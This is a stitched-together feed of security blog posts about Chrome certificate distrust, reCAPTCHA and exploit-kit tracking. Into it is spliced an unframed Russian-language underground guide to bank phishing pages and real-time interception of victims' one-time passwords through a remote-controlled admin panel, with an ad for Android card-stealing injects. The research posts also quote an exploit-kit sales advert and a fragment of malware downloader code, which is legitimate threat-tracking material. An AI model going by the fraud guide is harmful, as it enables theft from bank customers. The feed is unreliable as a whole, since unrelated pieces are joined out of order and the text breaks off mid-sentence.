Posted by Andrew Whalley and Devon O'Brien, Chrome SecurityAs previously announced, Chrome has been in the process of removing trust from certificates issued by the CA WoSign and its subsidiary StartCom, as a result of several incidents not in keeping with the high standards expected of CAs.We started the phase out in Chrome 56 by only trusting certificates issued prior to October 21st 2016, and subsequently restricted trust to a set of whitelisted hostnames based on the Alexa Top 1M. We have been reducing the size of the whitelist over the course of several Chrome releases.Beginning with Chrome 61, the whitelist will be removed, resulting in full distrust of the existing WoSign and StartCom root certificates and all certificates they have issued.Based on the Chromium Development Calendar, this change is visible in the Chrome Dev channel now, the Chrome Beta channel around late July 2017, and will be released to Stable around mid September 2017.Sites still using StartCom or WoSign-issued certificates should consider replacing these certificates as a matter of urgency to minimize disruption for Chrome users.

Identifying Intrusive Mobile Apps Using Peer Group Analysis

Wednesday July 12th, 2017 05:08:36 PM
Posted by Martin Pelikan, Giles Hogben, and Ulfar Erlingsson of Google’s Security and Privacy teamMobile apps entertain and assist us, make it easy to communicate with friends and family, and provide tools ranging from maps to electronic wallets. But these apps could also seek more device information than they need to do their job, such as personal data and sensor data from components, like cameras and GPS trackers.To protect our users and help developers navigate this complex environment, Google analyzes privacy and security signals for each app in Google Play. We then compare that app to other apps with similar features, known as functional peers. Creating peer groups allows us to calibrate our estimates of users’ expectations and set adequate boundaries of behaviors that may be considered unsafe or intrusive. This process helps detect apps that collect or send sensitive data without a clear need, and makes it easier for users to find apps that provide the right functionality and respect their privacy. For example, most coloring book apps don’t need to know a user’s precise location to function and this can be established by analyzing other coloring book apps. By contrast, mapping and navigation apps need to know a user’s location, and often require GPS sensor access.One way to create app peer groups is to create a fixed set of categories and then assign each app into one or more categories, such as tools, productivity, and games. However, fixed categories are too coarse and inflexible to capture and track the many distinctions in the rapidly changing set of mobile apps. Manual curation and maintenance of such categories is also a tedious and error-prone task.To address this, Google developed a machine-learning algorithm for clustering mobile apps with similar capabilities. Our approach uses deep learning of vector embeddings to identify peer groups of apps with similar functionality, using app metadata, such as text descriptions, and user metrics, such as installs. Then peer groups are used to identify anomalous, potentially harmful signals related to privacy and security, from each app’s requested permissions and its observed behaviors. The correlation between different peer groups and their security signals helps different teams at Google decide which apps to promote and determine which apps deserve a more careful look by our security and privacy experts. We also use the result to help app developers improve the privacy and security of their apps.Apps are split into groups of similar functionality, and in each cluster of similar apps the established baseline is used to find anomalous privacy and security signals.These techniques build upon earlier ideas, such as using peer groups to analyze privacy-related signals, deep learning for language models to make those peer groups better, and automated data analysis to draw conclusions.Many teams across Google collaborated to create this algorithm and the surrounding process.

Making the Internet safer and faster: Introducing reCAPTCHA Android API

Friday June 9th, 2017 04:32:35 PM
Posted by Wei Liu, Product Manager, reCAPTCHAWhen we launched reCAPTCHA ten years ago, we had a simple goal: enable users to visit the sites they love without worrying about spam and abuse. Over the years, reCAPTCHA has changed quite a bit. It evolved from the distorted text to street numbers and names, then No CAPTCHA reCAPTCHA in 2014 and Invisible reCAPTCHA in March this year.By now, more than a billion users have benefited from reCAPTCHA and we continue to work to refine our protections.reCAPTCHA protects users wherever they may be online. As the use of mobile devices has grown rapidly, it’s important to keep the mobile applications and data safe. Today, on reCAPTCHA’s tenth birthday, we’re glad to announce the first reCAPTCHA Android API as part of Google Play Services.With this API, reCAPTCHA can better tell human and bots apart to provide a streamlined user experience on mobile. It will use our newest Invisible reCAPTCHA technology, which runs risk analysis behind the scene and has enabled millions of human users to pass through with zero click everyday. Now mobile users can enjoy their apps without being interrupted, while still staying away from spam and abuse.reCAPTCHA Android API is included with Google SafetyNet, which provides services like device attestation and safe browsing to protect mobile apps. Mobile developers can do both the device and user attestations in the same API to mitigate security risks of their apps more efficiently. This adds to the diversity of security protections on Android: Google Play Protect to monitor for potentially harmful applications, device encryption, and regular security updates. Please visit our site to learn more about how to integrate with the reCAPTCHA Android API, and keep an eye out for our iOS library.The journey of reCAPTCHA continues: we’ll make the Internet safer and easier to use for everyone (except bots).

Bye Empire, Hello Nebula Exploit Kit.

Thursday March 9th, 2017 08:20:31 AM
Nebula LogoWhile Empire (RIG-E) disappeared at the end of December after 4 months of activityIllustration of  the last month of witnessed Activity for Empireon 2017-02-17 an advert for a new exploit kit dubbed Nebula appeared underground.------Selling EK Nebula------Nebula Exploit kitFeatures:-Automatic domain scanning and generating (99% FUD)-API rotator domains-Exploit rate tested in different traffic go up 8/19%-knock rate tested whit popular botnet go 30/70%-Clean and modern user interface-Custom domains & server ( add & point your own domains coming soon...)-Unlimited flows & files-Scan file & domains-Multiple payload file types supported (exe , dll , js, vbs)-Multi. geo flow (split loads by country & file)-Remote file support ( check every 1 minute if file hash change ; if changed replace ) for automatic crypting-Public stats by file & flow-latest CVE-2016 CVE-2017-custom features just ask supportSubscriptions:24h - 100$7d - 600$31d - 2000$Jabber - nebula-support@xmpp.jpOffering free tests to trusted users ------In same thread some screenshots were shared by a customer.Earlier that same day, colleagues at Trendmicro told me they were seeing activity from a group we are following under the name "GamiNook" (illustration coming later) in Japan redirecting traffic to a variation of Sundown."GamiNook" redirecting to a Sundown Variation in Japan - 2017-02-17Payload : Pitou (6f9d71eebe319468927f74b93c820ce4 ) This Sundown variation was not so much different from the mainstream one.No "index.php?" in the landing URI, different domain pattern but same landing, exploits, etc... Some payload sent in clear (01.php) other RC4 encoded (00.php) as for Sundown.Digging more it appeared it was featuring an Internal TDS (as Empire). The same exact call would give you a different payload in France or in United Kingdom/Japan."GamiNook" traffic with geo in France - 2017-02-17Identicall payload call gives you Gootkit instead of PitouPayload : Gootkit (48ae9a5d10085e5f6a1221cd1eedade6)Note: to be sure that the payload difference is tied to Geo and not time based (rotation or operator changing it ) you need to make at least a third pass with first Geo and ensure dropped sample is identical as in first pass.At that point you can only suspect this Sundown variant might be Nebula (even if clues are multiple, a funny one being that the traffic illustrated in the advert thread is quite inline with the one captured in France).So I was naming that variation: Sundown-N. Intel shared by Frank Ruiz (FoxIT) on the 21st allowed me to know for sure this traffic was indeed Nebula.The following days i saw other actor sending traffic to this EK.Taxonomy tied to Nebula Activity in MISP - 2017-03-02Taxonomy tied to GamiNook traffic activity, EK and resulting payloadToday URI pattern changed from this morning :/?yWnuAH-XgstCZ3E=tCi6ZGr10KUDHiaOgKVNolmBgpc3rkRp-weok1A2JV-gkpS0luBwQDdM/?yXy3HX2F=tCu_Mj322aEBSXjYhatLoVmBgZJh_0Fg_wX_zQYxIg6nksDowOciFzNB/?yXzbGV2jkcB_eU8=4ya6MDz31KdQTi7ahapLolnWjJdj_EJt-VT4mwQxIQ6gksTllrB3EGRM/?ykjaKniEk6ZhH1-P=si-8YGj_1aANTynfh6Ye81mHhZE0_RNs_gn5nAExcV6okpTknOQgEmNN/?z0vDa0iBu-Q=tHnqNT_-1KcGGCzfhqVKoVmB08dm_BJt-QKumQEwJA2nksGyk-QhQDRA/?z13qMVqqoKRvTw=5S--Y2uk0apQGiyOhvdI81nQhZMwqxVo9FSsmVAyIgiokpPnl-V0QDIf/?z1fECTiT=sy7tYmz206FUGCvagKpK9VmGhMAxrxZq_1CungQwdF71ksDowOciFzNB/?zVnra0OCs9k=syjqMjel06ADFHuP0qNKolmGgsdh9BZq_geizlFkcQ2gksTllrB3EGRM/?zVnra0OCs9k=syjqMjel06ADFHuP0qNKolmGgsdh9BZq_geizlFkcQ2gksW2w7QsRTIf/?zWnBFniM=4Ca9Zjej0PRTGC3e06FJp1nVjJA1rBRpqleumABkJF2hksTllrB3EGRM/?zn3iKU_xjeNxWw=sHu7MTry2aoAFCyKgKUY8FmF0ZZi_kFg9ASimVQ2cl-lksTllrB3EGRM/?zy3jN0Gvi9RjY02F2g=4H27Yjn-0_EBHSrc26MfoVnV15Yx-hJqrwWrnwJjcVqnkpTknOQgEmNN(which is Sundown/Beps without the index.php) to/86fb7c1b/showpost.php?s=af75b6af5d0f08cf675149da13b1d3e4&p=13&postcount=8/641222267738845/thumb/6456dac5bc39ec7/comment_post.php?ice=bDaE06lCQU/507728217866857/9ecc534d/bug_report/media/pr.php?id=b38cb0526f8cd52d878009d9f27be8f4/gu/Strategy/qNXL8WmQ6G/rss.php?cat=MSFT/moddata/a9/showpost.php?s=0d2d722e1a2a625b3ceb042daf966593&p=13&postcount=1/2003/01/27/exchange-monday-wilderness/46198923243328031687/applications/blockStyle.php?last-name=6419f08706689953783a59fa4faeb75c/5wtYymZeVy/LKYcSFhKOi/showpost.php?s=2e3e8a3c3b6b00cd3033f8e20d174bf5&p=8&postcount=7/2006/08/05/fur-copper-shark/48396170957391254103/XD25OYwON1/showpost.php?s=abf72cd40a08463fad0b3d153da66cae&p=27&postcount=7/tV9FnNwo4h/b303debe9a6305791b9cd16b1f10b91e/promotion.php?catid=h/ef131fb2025525a/QLGWEFwfdh/550991586389812/core.write_file.php?lawyer=9H6UhvusOi/aPKr0Oe5GV/23861001482170285181/showpost.php?s=e74b32ba071772d5b55f97159db2e998&p=2&postcount=1/2/eb799e65a412b412ee63150944c7826d61cd7a544f7aa57029a9069698b4925b2068ed77dea8dc6210b933e3ecf1f35b/showthread.php?t=18024&page=14/js/archives/3f635a090e73f9b/showthread.php?t=6636&page=18/59cdf39001a623620bd7976a42dde55f190382060a264e21809fc51f/ff0a503d59ddb4d5e1fb663b6475dfe0ba08f0b84ce8692d/viewtopic.php?f=84&t=48361/615147354246727/339824645925013/nqHgct4sEE/showthread.php?t=51299&page=20/2012/04/22/present-measure-physical-examination(for those who would like to build their regexp, more pattern available here : )2017-03-02 Nebula with its new pattern used here to drop Ramnit via Malvertising in NA - 2017-03-02This landing pattern change triggered the publication of this post.

CVE-2016-7200 & CVE-2016-7201 (Edge) and Exploit Kits

Wednesday March 8th, 2017 11:34:37 AM
CVE-2016-7200 & CVE-2016-7201 are vulnerabilities in the Chakra JavaScript scripting engine in Microsoft Edge. Reported by Natalie Silvanovich of Google Project Zero, those have been fixed  in november 2016 (MS16-129) by Microsoft.Note : No successful exploitation seen despite integration tries.On 2017-01-04 @theori_io released a POCProof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201) —— Theori (@theori_io) 4 janvier 2017providing again (cf CVE-2016-0189) ready-to-use code to Exploit Kit maintainer.After not far from 6 months without new exploit integrated in an EK ecosystem which has lost its innovation locomotive (Angler) , the drive-by landscape is struggling to stay in shape. Low infection rate means more difficulties to properly convert bought traffic.The exploits are spotted first in Sundown, but integration in RIG/Empire/Neutrino/Magnitude/Kaixin should be a matter of hours/days.[edit : 2017-01-10]​I have been told that with Win10 1607, Microsoft Edge has some quite strong mitigation: no WinExec, no CreateProcess, no ShellExecute, meaning every child process creation is blocked. The PoC might need a little more "magic powder" to work there.[/edit]Sundown:2017-01-06Sundown EK firing CVE-2016-7200/7201 to Edge 2017-01-06No exploitation here thoughFiddler: (password is malware)Out of topic: expected payload in that infection chain was zloader.

RIG evolves, Neutrino waves goodbye, Empire Pack appears

Monday December 5th, 2016 03:32:30 PM
  Around the middle of August many infection chains transitioned to RIG with more geo-focused bankers and less CryptXXX (CryptMic) Ransomware. Picture 1: Select Drive-by landscape - Middle of August 2016 vs Middle of July 2016RIG += internal TDS :Trying to understand that move, I suspected and confirmed the presence of an internal TDS (Traffic Distribution System) inside RIG Exploit Kit [Edit 2016-10-08 : It seems this functionality is limited to Empire Pack version of RIG]I believe this feature appeared in the EK market with Blackhole (if you are aware of a TDS integrated earlier directly in an EK please tell me) Picture2: Blackhole - 2012 - Internal TDS illustrationbut disappeared from the market with the end of Nuclear Pack Picture3: Nuclear Pack - 2016-03-09 - Internal TDS illustrationand Angler EK Picture 4 : Angler EK - Internal TDS illustrationThis is a key feature for load seller. It is making their day to day work with traffic provider far easier . It allows Exploit Kit operator to attach multiple payloads to a unique thread. The drop will be conditioned by Geo (and/or OS settings) of the victim.Obviously you can achieve the same result with any other exploit kit…but things are a little more difficult. You have to create one Exploit Kit thread per payload, use an external TDS (like Keitaro/Sutra/BlackHat TDS/SimpleTDS/BossTDS, etc…) and from that TDS, point the traffic to the correct Exploit Kit thread (or, if you buy traffic, tell your traffic provider where to send traffic for each targeted country). Picture 5: A Sutra TDS in action in 2012 - cf The path to infection RIG += RC4 encryption, dll drop and CVE-2016-0189:Around 2016-09-12 a variation of RIG (which i flag as RIG-v in my systems) appeared.A slightly different landing obfuscation, RC4 encoding, Neutrino-ish behavioral and added CVE-2016-0189 Picture 6: RIG-v Neutrino-ish behavioral captured by Brad Spengler’s modified cuckoo Picture 7: CVE-2016-0189 from RIG-v after 3 step de-obfuscation pass.Neutrino waves goodbye ?On 2016-09-09 on underground it has been reported a message on Jabber from the Neutrino seller account :“we are closed. no new rents, no extends more”This explains a lot. Here are some of my last Neutrino pass for past month. Picture 8: Some Neutrino passes for past month and associated taxonomy tags in MispAs you can see several actors were still using it…Now here is what i get for the past days : Picture 9: Past days in DriveBy land Not shown here, Magnitude is still around, mostly striking in AsiaDay after day, each of them transitioned to RIG or “RIG-v”. Around the 22nd of September 2016 the Neutrino advert and banner disappeared from underground. Picture 10: Last banner for Neutrino as of 2016-09-16Are we witnessing the end of Neutrino Exploit Kit ? To some degree. In fact it looks more like Neutrino is going in full “Private” mode “a la” Magnitude.Side reminder : Neutrino disappeared from march 2014 till november 2014A Neutrino VariantSeveral weeks ago, Trendmicro (Thanks!!) made me aware of a malvertising chain they spotted in Korea and Taiwan involving Neutrino. Picture 11: Neutrino-v pass on the 2016-09-21Upon replay I noticed that this Neutrino was somewhat different. Smoother CVE-2016-4117, more randomization in the landing, slightly modified flash bundle of exploits Picture 12: Neutrino-v flash ran into Maciej ‘s Neutrino decoder Note the pnw26 with no associated binary data, the rubbish and additionalInfoA Sample : 607f6c3795f6e0dedaa93a2df73e7e1192dcc7d73992cff337b895da3cba5523 Picture 13: Neutrino-v behavioral is a little different : drops name are not generated via the GetTempName api function k2(k) { var y = a(e + "." + e + "Request.5.1"); y.setProxy(n);"GET", k(1), n); y.Option(n) = k(2); y.send(); if (200 == y.status) return Rf(y.responseText, k(n)) };Neutrino-v ensuring Wscript will use the default proxy (most often when a proxy is configured it’s only for WinINet , WinHTTP proxy is not set and Wscript will try to connect directly and fail)I believe this Neutrino variant is in action in only one infection chain (If you think this is inaccurate, i’d love to hear about it) Picture 14: Neutrino-v seems to be used by only one actor to spread Cerber 0079xThe actor behind this chain is the same as the one featured in the Malwarebytes Neutrino EK: more Flash trickery post.Empire Pack:Coincidentally a new Exploit Kit is being talked about underground : Empire Pack. Private, not advertised. Picture 15: King of Loads - Empire Pack PanelSome might feel this interface quite familiar…A look a the favicon will give you a hint Picture 16: RIG EK favicon on Empire Pack panel Picture 17: RIG PanelIt seems Empire Pack project was thought upon Angler EK disappearance and launched around the 14th of August 2016.[Speculation] I think this launch could be related to the first wave of switch to RIG that occurred around that time. I think, Empire Pack is a RIG instance managed by a Reseller/Load Seller with strong underground connections. [/Speculation]RIG-v is a “vip” version of RIG. Now how exactly those three elements (RIG, RIG-v, Empire Pack) are overlapping, I don’t know. I am aware of 3 variants of the API to RIGapi.php : historical RIG api3.php : RIG with internal TDS [ 2016-10-08 :  This is Empire Pack. Appears to be using also remote_api after this post went live.

Is it the End of Angler ?

Tuesday August 30th, 2016 02:05:23 PM
Everyone looking at the DriveBy landscape is seeing the same : as Nuclear disappeared around April 30th,  Angler EK has totally vanished on June 7th. We were first thinking about Vacation as in January 2016 or maybe Infrastructure move. But something else is going on.---On the Week-End of the 4-5th of June I noticed that the ongoing malvertising from SadClowns was redirecting to Neutrino Exploit Kit (dropping Cerber)EngageBDR malvertising redirecting to SadClowns infra pushing traffic to Neutrino to Drop Cerber RansomwareOn the 6th I noticed several group migrating to RIG, Neutrino or even Sundown.But I got speechless when I noticed that GooNky had switched to Neutrino to spread their CryptXXX U000001 and U000006.They were sticking exclusively to Angler EK since years and their vacation were synchronized with Angler's in January.Checking all known to me infection path I could hardly find some Angler....last one were behind the EItest infection chain on the night of the 6th to 7th of June.Last Angler pass I captured on 2016-06-07EITest into Angler dropping CryptXXX 3.200 U000017On June 7th around 5:30 AM GMT my tracker recorded its last Angler hit :Last Hit in my Angler tracker.After that...RIG, Neutrino instead of Angler almost everywhere.[Side note: Magnitude is still around...But as mentioned earlier it's a One Actor operation since some time]Aside SadClowns and GooNky here are two other big (cf traffic volume) group which transition has not been covered already"WordsJS"  (named NTL/NTLR by RiskIQ) into Neutrino > CryptXXX U0000102016-06-10"ScriptJS" (Named DoublePar by RiskIQ and AfraidGate by PaloAlto) into Neutrino > CryptXXX U000011This gang  was historically dropping Necurs, then Locky Affid13 before going to CryptXXXIllustrating with a picture of words and some arrows:MISP : select documented EK pass with associated tags.1 arrow where you would have find Angler several days before.(+ SadClowns + GooNky not featured in that selection)With the recent 50 arrests tied to Lurk in mind and knowing the infection vector for Lurk was the "Indexm" variant of Angler between 2012 and beginning of 2016...we might think there is a connection and that some actors are stepping back.Another hint that this is probably not vacation "only" for Angler is that Neutrino changed its conditions on June 9th. From 880$ per week on shared server and 3.5k$ per month on dedicated, Neutrino doubled the price to 7k$ on dedicated only (no more per week work). Such move were seen in reaction to Blackhole's coder (Paunch) arrest in October 2013.So is this the End of Angler ? The pages to be written will tell us.“If a book is well written, I always find it too short.” ― Jane Austen, Sense and SensibilityPost publication notes:[2016-06-12]RIG : mentioned they were sill alive and would not change their Price.Maybe unrelated to RIG mention, Neutrino updated his thread as announced previously on underground but conditions are revisited :------Google translate:-----Tarif week on a shared server:Rent: $ 1500Limit: 100k hosts per dayOne-time daily discharge limits: $ 200Rate per month on a dedicated server:Rent: $ 4000Limits: 500k hosts per day, and more - on an individual basis.One-time daily discharge limits: $ 200----------------So now only price per week is doubled and month rate + ~20%[2016-06-13]Our exploit kit stats for the last two weeks… Angler dives, Neutrino soars.— News from the Lab (@FSLabs) June 13, 2016Acknowledgement:Thanks to Will Metcalf (Emerging Threats/Proofpoint) who made the replay of SadClowns' malvertising possible.

Решил детально описать процес чтобы изначально не вводить клиентов в заблуждение.В самом начале надо понять что такое "СКАМ СТАНИЦА"."СКАМ СТРАНИЦА"- это копия реальной странички логина в банк ,которая находится на нашем сервере с похожем на банк доменом. Все детали вводимые на ней будут лететь к нам.Далее уже на выбор, или дание идут на емайл, или на специально сделанную админку.Тоесть суть замута такова:жертва попадает на нашу страницу ->вводит данные->потом наша страница кидает жертву обратно на оригинал ->и мы поже ипользуем данные сами чтобы войти..| Это самый примитивный пример , на самом деле все чуток сложнее и зависит от фантазии заказа .Дальше надо понять что такое "ПЕРЕХВАТ"."ПЕРЕХВАТ" - eто вид обмана, очень часто ипользуетса в инжектах. Само название говорит за себя.Инжект перехватывает дание в рельном времени и присылает нам . В это время жертва как обычно ждет с гиф на экране,а вы заходите вместо него.| Зачем это надо?Затем что если для перевода вам требуется дополнительно второй пароль/смс/тукен то можно это запросить ,пока жертва ждёт, через специально сделанные команды в админке.Основной бенефит что это можно делать повторно ,много раз.|| Перехват на скам страничке работать точно также . Жертвa вводить дание и ждет пока мы его спросим то что нам надо.|Поэтапно:Преставим себе что есть банк где на вход надо UserName и Password . На активацию перевода по IBAN надо нoмер с тукен-прибора (Pin1) и для переводa надо ввести номер в тукен-прибор и тукен-прибор даст нам номер обратно (Pin2)Теперь преставим себе что у нас есть скам странница на этот банк , которая будет отсылать нам получение даные для входа и потом покажет заставку жертве с просьбой подождать. Мы находимся на другом конце в админке и наблюдаем такую катину .Краткое пособие по админке."I'am Online"- показывает находится ли оператор в админке , если "Off-line" то все жертвы будут перенаправлены обратно на оригинал страницу.Колонка "Keys" это есть полученные детали для входа.Колонка "Pin" это для получених тукенов/пинов .Колонка "Task" для добавленья операции по запросу тукена/пинов .Колонка "Redirect" показывает релле редиректа конкретной жертвы . Если поставить "On" то жертва будет перенапрвлена на оригинал сразу.| *Если жертва мегает красним то это значит что жертва какраз ждет от вас комадуИ так , на даном этапе у нас есть логины для входа , и ждущий человвек на нашей странице .Входим, идем на активацию IBAN . Там нас спрашивает Pin1/Tooken1 .Мы идем обратно на админку и нажимаем запрос операции. У нас откроется окно с выбором операций .Нажимаем на "ask Pin1" и жертва видит вот это:Дальше все просто. Жертва вводить "pin1" и он приходит к нам на админку . А жертва в это время снова видит пред собой заставку "подождите" .Если пин подошол, идем на перевод и такимже способом просим "pin2". Важно понимать что это все можно повторять много раз и после неверного пина можно снова его запросить .Если залив ушол , ставим "Redirect" на "On" и юсер уходит на оригинал. Или в продвинутых системах можно показать ему техроботы и попросить зайти попоже.Вот и все!**Все тексты на английском по админке написаны с ошибками , я это знаю ).Делал очень быстро .

Oна называется Universal Admin. называется она не просто так Универсал,у нее реализована возможность поддерживать много разных проектов таких как: Tooken intercept,Text manager,Log parser,Drop manager и многое другое.[2 images here...not available at dump time]Не обращайте внимания на разные цвета и стили на Скринах ,стили меняются тоже прямо с админки.[1 image here...not available at dump time]Tо есть админ панель одна а плагинов под нее может быть много.Hа видео Вы видели эту админку с плагином Tooken intercept + Text manager.Text manager-это менеджер текстовых блоков и название кнопок, которые будут автоматически вставляется в вашы страницы,инжекты и фишинг сраницы.[1 images here...not available at dump time]Все что надо сделать для работы это создать текстовый блок с определенным ID ,потом на вашей странице создать элемент с этим же ID ивставить одну функцию в конец документа.Для примера: У вас есть инжект в котором есть определенная Легенда запроса дополнительной информации.Чтобы изменить эту Легенду вам как минимум надо разбираться в HTML и как максимум пересобирать конфигурацию бота.С помощью текстового менеджера в моей админке все что вам надо это поменять текст в определенном блоке и нажать сохранить.Tooken intercept- это собственно то о чем мы будем сейчас говорить.Не важно каким способом Вы стараетесь обмануть жертву (Injec ,phishing page) цель является добытие определенного пакета информации .Для примера скажем у вас есть Paypal Phishing page с помощью которой вы добывайте username и пароль. эти данные отсылаются куда-то наадминку в нашем случае это Universal Admin.Username и пароль это и есть тот самый пакет информации который после отправки формы сохраняются у вас ,а кокретно вот тут[1 image here...not available at dump time]Использовать эту информацию можно по-разному в зависимости от вашего проекта.Одним из методов использования этой информации является перехват(intercept) ,то есть использовать информацию в реальном времени прямо сейчас.Вы перехватили username и пароль и вместо жертвы попадаете на ак ,пока жертва ждет думая что страница грузится.В случае с PayPal использования перехвата не совсем обязательно, так как полученные пакет информации а именно username и пароль Выможете использовать и через неделю. Но в связи с тем что последнее время много контор используют One Time password(Tooken),которые действительны только 30 секунд, обойтись без Tooken interstep нереально. Tooken intercept дает вам возможность использовать тот самый пароль(tooken) на протяжении 30 секунд пока жертва ждет загрузки следующей страницы. Возьмем тот же PayPal. Скажем вы получили только что username и пароль, зашли внутрь, и на главной странице вам выскочила рамочка гдеговорится что для подтверждения вашей личности на ваш мобильный телефон был отправлен SMS с коротким кодом(Tooken) код который надо вести тam же в рамочкe.Код который был отправлен на мобильный телефон жертвы!!! жертва которая на данный момент находится на вашей странице(Phishing Inject)!!!там где только что она(жертва) ввела username и пароль, username и пароль те что пришли к вам на админку и те что вы использовали для тогочтобы зайти на тот самый аккаунт где вам выскочила рамочка!! В стандартных методах это называется запал и етот пакет информации можно выбросить. можно сделать такую же рамочку после логин этападля всех юзеров на нашей пишем фишинг или инжекте, но проблема в том что это рамочка показывается не всем и не всегда и если жертвена телефон ничего не приходило то он туда ничего никогда не ведет.Я думаю всем понятно что здесь нужна динамическая страница с дистанционным управлением. То есть вы должны принимать решения показыватьрамочку данной жертве или не показывать.Именно это и есть основа.Страница которая присоединена к нашей админке может меняться исходя из команд которые вы задаете в админке.Команд может быть много, но для этого в определенном месте в админке для каждой жертвы eсть список команд, которые можнозадать для данной страницы на которой он(жертвa) находится.[1 image here...not available at dump time]в нашем примитивном пример из PayPal в списке операции должнa присутствовать кнопка "показать рамочку".Если вы зашли на аккаунт с только что полученными данными и у вас выкидывает эту рамочку вы нажимаете кнопку "показать рамочку" для данной жертвой.И у нее на экране покажет такую же рамочку.Tooken, который будет введён в эту рамочку прилетит к вам на админ туда же где лежат username и пароль от этой жертвы.Думаю здесь все понятно.Единственное что хотел бы подчеркнуть то что жертва в любой момент может закрыть страницу закрыть компьютер вырубить сеть.В таком случае связь страницы с админкой теряется и задавать команды для данной страницы не имеет смысла.Для этого в нашей админке есть Tracker онлайн статуса который позволяет нам следить находится ли жертва онлайн или нет. [1 image here...not available at dump time]Теперь структура Tooken intercept админки.Первая страница это главная страница где показана текучка всех посетителей(жертв) ваших инжектов и фишингов.Напротив каждого посетителя есть кнопка O-Panel при нажатии на которую вы попадаете уже на индивидуальную панель операций для данного посетителя.[1 image here...not available at dump time] Именно здесь и находится список операций.Именно здесь крупным планом видно онлайн статус. Прошу заметить что онлайн статусов бывает 3(ONLINE, OFFLINE и WAITING).WAITING статус светится красным и светится только тогда когда жертва ждет операции от вас ,то есть только что вам был отправленпакет информации и страница ждет дальнейших инструкций!.[1 image here...not available at dump time]Также жертва с этим статусом мигает красным и на главной странице что поднимает их в таблице вверх. Окей давайте теперь возьмем реальный пример Phishing страницы скажем одного из нидерландских банков. тут реализованные как PCтак и мобильная версия.[1 image here...not available at dump time]Вы делаете рассылку на email и линки могут открываться на мобильном. в основном 50% так и происходит.Скажем кто-то(жертвa) переходит на Линк в вашем email и попадает на нашу страницу. Вы об этом узнаете сразу через Jabber Alert,в котором будет говориться про нового посетителя.Самое время открыть Universal панель. там вы увидите Новую колонку с информацией про посетителя а Конкретно его айпи ширина экрана и многое другое[1 image here...not available at dump time]с минуты на минуту к нам прилетят логины, их можно ждать как на главной так и на O-Panel.после того как Вы получили логины, Посетитель уходит в режим ожидания. об этом Вам будут говорить красные мигающие панели, она экранe у жертвы будет примерно такое[1 image here...not available at dump time]Что делать вам с полученным пакетом Логинов Решать только Вам. Но если у вас, находясь внутри в аккаунте, попросят ввести tooken, пароль, SMS пароль то самое время вернуться на O-Panel и нажать соответствующую команду. Команда которая приведет к тому что страница на которой находится жертва покажет ему запрос того что вам надо.[1 image here...not available at dump time]После того как жертва ввела в форму Tooken ,она снова уходит в режим ожидания, и Вы снова должны определиться что делать и какую команду ему дать. И так до бесконечности или пока жертва не Закроет страницу. Но если все-таки это надоест вам то у васесть два варианта распрощаться жертвой. это поставить блок [1 image here...not available at dump time]или перенаправить его на оригинал страницу.[1 image here...not available at dump time]При работе с одним посетителем могут стучать другие новые.Это будет отвлекать и все новые посетители будут ждать. чтобы этого избежать на главной странице есть ричашки которые контролируютрегистрацию новых посетителей и переадресацию старых поголовно. Если поставить регистрацию OFF ,то в админке только будут работать Те кто уже Там есть, все новые будут попадать на оригинал страницы контор.A если поставить редирект всех ,то все посетители(жертвы) кто есть в админке будут перенаправлены на свои оригинальные страницы поголовно.Это надо делать когда вы собрались к примеру уходить.------------------------------------------On april 2016 the 4th:------------------------------------------увжаемые друзьяновые инжекты под Андроид------------------------------------------On april 2016 the 11th:------------------------------------------Продается Пак инжектов под андроид для сбора карт.WhatsUpFacebookInstagramViberSkaypGooglePlayPrice:450$user posted imageОбезательно посмотрите видео.

Для этого вам просто надо поставить папку Log parser в плагин директорию в админке.Также был разработан VNC плагин который дает возможность коннектится к вашему botnet API с запросом на соединение по VNC/SOCKS для определенного бота.Этот плагин является дополнением к "Tooken Intercept" плагина про который я писал вам выше. Если вы используете "Tooken Intercept" с инжектороми в вашем боте есть в VNC, и в админке вашего Бота есть API управление VNC то при наличии VLC plugin в U-admin возможно сделать запрос на соединение по vnc или socks с ботом.Как правило это делается автоматически при самом первом соединение с инжектоm,то есть когда жертва заходит на страницу перехвата.В связи с этим была слегка переделана O-Panel где в команды была добавлена новая опция проверки статуса VNC/SOCKS соединение.[1 image here...not available at dump time]Куда ,как вы видите, при успешном соединении выводятся данные на

Bedep has raised its game vs Bot Zombies

Sunday January 21st, 2018 10:39:22 PM
Simulacra & Simulation - Jean BaudrillardFeatured in MatrixBedep could be described as a fileless loader with a resident module that can optionally perform AdFraud. It's intimate to Angler EK and appeared around August 2014. On the 2016-03-24 I noticed several move in Bedep. Angler infecting a VM and integrating it into an instance of Bedep botnet2016-03-24No more variable in the URI (as several month before), the protocol Key changed and in most of my manual checks, all threads were sending a strange payload in the first stream.2ko size for Win7 64bits :80eb8a6aba5e6e70fb6c4032242e9ae82ce305d656b4ed8b629b24e1df0aef9aPopup shown by the first payload from Bedep Stream - Win7(in the background Angler Landing)48ko size for WinXP 32bits:a0fe4139133ddb62e6db8608696ecdaf5ea6ca79b5e049371a93a83cbcc8e780Popup shown by the first payload from Bedep Stream - WinXPLooking at my traffic I thought for some time that one of the Bedep instances was split in two.Then I understood that I got different result on my "manually" driven VM (on VMWare ESXi) and my automated Cuckoo driven one ( on VirtualBox). I suspected it was related to hardening, as this is one of the main difference between those two systems.And I got confirmation. Here is an example on a GooNky ([1] [2] [3]) malvertising traffic in Australia :A VM not hardened enough against Bedep got redirected to a "decoy" instance of Bedep that i will refer as :Bedep "Robot Town" - 2016-04-12Now look what i get instead with a VM that is not spotted as is:Same Angler thread - VM not detected. 1st Stream get Vawtrak2016-04-12( Vawtrak in that stream   d24674f2f9879ee9cec3eeb49185d4ea6bf555d150b4e840407051192eda1d61 )I am not skilled enough to give you the list of checks Bedep is doing. But here is one of them spotted by Cuckoo :Bedep doing some ACPI checksI think there are multiple level of checks. Some resulting in Bedep not trying to contact the C&C, some where the positive check end up with a different seed for the Bedep DGA redirecting spotted machines in a dedicated instance. This is quite powerful :- the checks are made without dropping an executable. - if you don't know what to expect it's quite difficult to figure out that you have been trapped- there is a lot of things that operators can do with this list of known bots and initial Bedep thread ID. One of them is for instance knowing which of the infection path are researcher/bots "highway" :Illustration for Bedep "Robot Town" from an "infection path" focused point of viewThis could be just a move to perform different tasks (AdFraud only (?) ) on VMs, but my guess it that this Bedep evolution on 2016-03-24 is a fast reaction to this Proofpoint Blog from 2016-03-18 which  show how Bedep threads are additional connectable dots. Sharing publicly is often a difficult decision. The question is which side will benefits the most from it, in the long time.For researchers:In the last 3 weeks, if your VM have communicated with : 